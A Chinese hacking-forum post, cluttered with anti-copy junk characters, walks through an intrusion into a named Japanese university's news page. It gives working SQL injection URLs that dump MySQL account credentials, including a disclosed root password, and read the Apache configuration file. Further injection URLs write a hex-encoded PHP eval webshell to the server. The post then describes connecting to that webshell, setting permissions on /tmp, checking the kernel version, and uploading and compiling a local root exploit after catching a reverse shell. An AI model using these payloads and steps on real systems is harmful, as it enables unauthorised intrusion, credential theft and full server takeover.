入侵日本同志社大学技术分析$ B! z2 }0 U- k0 I' b
% @4 Q P$ M) j4 E0 C/ Lhttp://www.doshisha.ac.jp/chs/news/index.php?i=-19 e0 _- e8 _# T1 ^& ?: n
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
- H5 v( C: D R! }' u
, t6 H) ?1 Y- {# `) T. Hhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
. L, V& `8 @# ^9 W1 x/ Q! ?; B* W( g& q0 x- V( {
5 K' }8 g" f3 k* u! m/ S
/ T! ]: j6 r: a& j" y/ x//@@datadir为数据库文件路径
]/ K; a( p4 j! d; N0 c
; T5 S; B. y+ p) ^; y
$ C2 C5 ~8 i! \3 y//load_file读取网站容器apache的配置文件
" i2 n3 G* W F5 s
0 }. b7 B/ r9 x! i
`& P/ E A1 p1 ?0 g/ S3 S0 ~* B//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
; {3 y9 i4 I6 Q" O* L复制代码
. G+ b0 N0 a, t2 u
6 _* ]) G; K7 _4 W0 r5 M& ~3 o虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
: h. ]8 K# W4 q8 |7 R/ b
0 `, ]1 e* `) z( L. q) ^0 C& ], H2 h而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。: D, Z8 O, b. f; R/ [6 p7 Z* d- x
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
! o" F4 z& X& g8 s3 o# E
% n% V. h! C0 W% A. W9 r. H0 a前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。* i- Z/ B$ c3 P, M B
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
7 c- m9 U3 |7 E% H% q
5 _$ K: J2 z- w$ @/ {4 o既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/& `/ x0 z8 b3 Q# q
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
5 B: a2 u& N7 H3 @5 V$ J* }直接写一句话:, j: a8 Y \. W6 ?& c9 H
8 h; R: v' D3 E F9 `) @4 G9 Q0 x$ |
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#( L3 u/ w; ~' h* M+ h8 k
$ E8 j% a: x8 x5 v# ? $ k3 O0 d1 ~- k) ?3 n/ r
$ p' X( q" n$ n6 n N2 [//最后的#是为了闭合前面的语句 ! A: Y1 V0 d3 v G5 V" ?
. o3 {; F8 e) w" P/ \/ o
6 }6 p6 J- ]0 B* ~, W& O/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E ! k W. q6 j3 r3 K" S
: U V2 l4 B0 G, B) a4 E
7 h& S# J M- @( A" P& ^为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ S5 w- b0 | r# s. P; P
+ c* }: U- d! w! ^# x2 ?9 C4 b6 L
4 q7 ^/ N c4 f/ L$ M* g: W
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
9 J1 k4 y; E, s$ M x' | 4 v7 p2 s+ f/ o/ W8 \# }+ ?' c# g
* A& b' P: L1 U. u
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
0 b) G1 y. j. W' D3 O# J//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” $ o, v& D5 F+ B$ G. I
复制代码
4 ?& ^8 ~5 K# m6 c Q2 \2 i. H, d8 B2 J& S9 i
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
1 m3 G8 P# x2 n* D0 z通过上述注入语句,我们就得到了一句话木马:
% d6 j" O0 K" m/ |% M p$ M: ~0 L9 O5 h% d3 q
' l( ~" C2 c Q; \; W9 q3 X% h; b) f8 B% }/ y6 O' e
6 B) @6 [, t, C/ F
( p- y1 O& L% z/ L( G8 M1 a/ t5 ]3 v
http://www.doshisha.ac.jp/english/engnews_img/aa.php ) d8 J8 ]4 H, m9 b9 u
复制代码" _" {6 @% c0 H' H- m
0 K) P6 c' H/ B* _用菜刀连接,密码是cmd,如图所示:
& P1 O1 T' I% [0 N$ Z7 G然后在命令提示行里看了一下,现在的权限是:; z) r! O8 z0 C0 t: S7 p
! ]- y; M7 I0 w
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
9 `8 x3 ?2 ^% R1 v好在赋权给这个文件夹不需要root,直接执行赋权语句:) i* g( w1 m( l: k: t, h
, t0 T; y" Z2 n& `8 D' c' J* L, d
: H, g" ]+ i* G7 ?) a7 v
, o7 \9 w6 h! i# c
1 ^/ D8 ~3 v; e' L5 T& q
! D' k& ?7 {" g: X$ O$ M0 v
chmod +x /tmp/ ) C5 o1 ^& ^: p; Q! F7 i2 O. X
复制代码
& s* `$ Y/ {+ ?. o( Y; Y6 J7 C; v' q; G X$ O( g5 Y9 p
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行9 U/ z' B6 f: Q$ b) L* I
然后就查了一下内核版本:& v# L( r& K* w9 t* L
' t6 I( g7 i3 c& ]0 ~2 |- i2 Z. \ , D* H3 t6 R9 v
9 k( Y r: r& X* O# g" M3 O6 s, j ) `5 w E5 _, h8 Y4 f1 X6 D
$ Q9 O/ V. G; f* e, g! puname-a
7 ?" g, U5 |" L6 v2 w0 W. U7 x 0 |! V5 f( x# {( c! h0 _% ]! J
) U+ T% R8 Y7 W6 G5 ~* H
//其实lsb_release -a 9 c W/ J2 h6 P" R' }$ x9 |
复制代码/ o% \% U7 @9 ]% Z* r! a5 G
6 M; U( r9 q0 d9 `! d! K如图所示:
j8 }+ ^# ?( C- {0 T Q& K% i
; p% e4 _% e3 E) V! s内核版本:linux mainz1 2.6.28-194.e15
) a- N* A4 Q( b1 l0 s4 o系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
. y0 r1 y Y% w查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹$ S7 h5 p7 S- R! C2 c/ G
. C* k6 F) H$ \. b- p* }, K然后给予执行权限
7 E* i, ~- L# F9 T3 n一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样 d! W5 f% m( [ W
: N p! h" T9 d2 R6 W$ J% |# _5 d
) F8 S0 W+ N. C& x* a) r) V4 }
1 e( u. s2 X: A/ ?
. @8 ^( r% y& K4 J0 e. m C T
% F8 A1 O! H5 }" ~chmod +x /tmp/2.6.18-194
6 d$ U$ ]4 X8 T' @. c' z, _! }% C复制代码 然后直接执行!~0 T+ O0 j6 Z' J6 N( Y7 e2 C
- k9 U( o# V5 I( q' h
总结:$ l- v" L8 _5 ]8 T
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
* b8 P9 x- k6 \% @! g8 s, H提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
9 c4 H5 x a# K, s! |9 m; q6 e* f+ p' P( y# \0 p% G" d, T
|